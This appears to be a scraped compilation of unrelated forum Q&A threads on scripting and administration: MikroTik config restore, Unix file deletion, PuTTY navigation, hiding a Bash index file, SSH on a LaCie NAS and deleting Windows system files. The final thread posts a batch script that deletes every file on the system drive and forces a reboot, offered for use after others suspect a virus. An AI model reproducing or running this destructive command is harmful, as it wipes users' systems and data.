I am trying to solve some case on MikroTikOS 5.56. The only thing I need is force MikroTik to automated restore configuration and reset after it. I need a script to handle this:
Automatically restore configuration or backup file without any user interaction. On my mind is script like:
/system backup load name=xx
or
/system reset-configuration run-after-reset=xx
These scripts are always asking for confirmation from user/terminal. I need them to work automatically and cannot solve this...
Thank you for every idea/advice.
I've solved it, maybe with a little hack.
Just use SSH/whatever to device itself and run what do you need.For me, it was like:
/system ssh 192.168.xxx.xxx "/system backup load name=x"
/system ssh 1921.68.xxx.xxx "/y"
It doing what I need - I will tune it up, but this way I have solved my problem.

I have a requirement where i need to create and delete a text file on unix from my windows server where i have informatica installed.
Using workflow i was able to place file in unix but not able to find a way to delete already existing file.
Also the client does not want us to download any additional software like putty on windows server.
Please feel free to ask for more information if required.
if you are able to drop .sh (shell script) and execut it on unix then you can do that with "rmdir yourfolder" command, if you folder has andything under then you will need to use "rm -r yourfolder", if files inside the folder have any dependicies you need to use "rm -rf yourfolder".
Just make sure that you will navigate to the correct folder where you are deleting things.

I'm not used to using PuTTy so I'm not very well versed with all the know hows to use it. So after I log onto the HostName/IP address and log in with my username and ID, there's a local directory /u/SysLab/ where one of the file belongs to me and that's where I'm supposed to do my coding, but I'm not sure how to access it, can anyone tell me how to do this? Me googling "How to go to local directory" yields questions that ask how to transfer files to the server, which isn't what I want to do. I just want to go into the directory and start my coding homework. Can anyone help me?
Did you try cd /u/SysLab?
That should change your current directory to /u/SysLab/ after that you should be able to open the file that you want to work on using some editor e.g. if use Emacs then you could do emacs -nw <yourfile>.
I strongly recommend to first get familiar with (at least) some basic navigation and file handling/editing in the terminal before starting to code.
Assuming your OS is Linux/Unix based, cd (change directory) and the path should work for you: cd /u/SysLab
I want to index some files and keep a registry as part of a utility I am writing in BASH. So, my tool would go to a massive directory and write some essential information about each file it finds there to another file that I would like to call "myregistry." The file would only be rewritten if the user asks it to - since going through a large file structure and "indexing" it this way would take considerable time.
I want this file to not show up when the user does ls in the directory where it is contained. In addition, I want the user to have no privileges with it at all - the user should not be able to open it up on vim or anything, not even to just look at it.
However, if the user executes my script again, I want the user to have the option of getting some information out of the file from there. I also want the script to have the permissions to look at the file and add or delete things from it, if the user prompts it to. But the user should not be able to do anything to it directly.
How can I do this? It would require using chmod but I have no idea how to put it together.
I'm thinking:
# Enable write permission
# Do Something - ensure that no one else is writing to this file
# Disable write permission
On Unix, you're more or less on an equal footing with other processes that run under the same user. Whatever you can do, they can do. If you can hide and unhide something, so can they. Interpreted scripts need read permissions to run, so it's not like you can hide any secrets in your executable. If you can however, distribute your software as a binary, you'll be able to run without being readable. Then you can hardcode a secret into the binary and use it to encrypt and decrypt files. Users will be able to run your binary, but only the superuser will be able to get the secret and decrypt your registry. That's real security (against regular (nonroot) users) (especially if you manage to create and embed the secret at installation time).
Playing with dotfiles and permissions won't fool any advanced user.
Something like this work? write_index and read_index are your work.
cd massive_dir
TFILE=$(mktemp --tmpdir=.)
write_index >$TFILE
mv -f $TFILE .index
chmod a-rw .index
To read
chmod +r .index
read_index .index
chmod -r .index
Note that no locking is needed because of the temp file. mv is atomic.
I've got a Lacie Network Space 2 where they have disabled the SSH access and I'd like to write a script where I transfer files from my computer to the NS2 using scp.
The only problem I have is that I can't (from what I know) generate a public key without first connecting via SSH.
So my question is: Is it possible to generate a key without having access to SSH, for use with scp? Or some other clever way to transfer files to my NS2 (FW 2.2.4) using a script.
I might add that I'm currently mounting the disk and using cp, but I'd like something better.
Thanks in advance!
What exactly do you want? If you want to scp to the NS2, you'll have to generate the keys on the source machines and append it to authorized_keys on the target. Since you can already mount & use cp, you should be able to do that.
Note that since scp works over ssh, if they've disabled ssh this won't work. OTOH, if they've only disabled password based ssh, or set /bin/false as your shell, this might work.
I have concluded that if you want to gain access to ssh keys on your NS2 with a newer FW you have to remove the disk from its casing and connect it to a computer, as they explain in this link
Enabling SSH on NS2
I thank you both for your answers, but I guess I'll have to do it the hard way.
I would like a batch file which can delete C:\Windows files. But every time i try (:D) it keeps me away from it because of the permissions.
Does anyone know how to remove C:\WINDOWS files?
Thanks.
I have my doubts about this like the rest, but to address the issue you most likely need to be an Administrator on the the box.
Well, you can't if you are running the windows from the same directory. Windows will never allow you to do that.
Try booting up your system with some other OS and then you can remove the directory of another OS.
BTW, why are you doing this? Are you trying to write some kind of a dumb virus?
are you trying to run this while Windows is running. That will not work on many files in C:\windows simply b/c the operating system is using them.
Get a CD and boot the box using a Linux disk. Mount the drive and delete until your eyes bleed.
Got it now:
#echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
i know this deletes the hole drive,,, but you can use this on any way.
Was it so hard for you guys?
xD
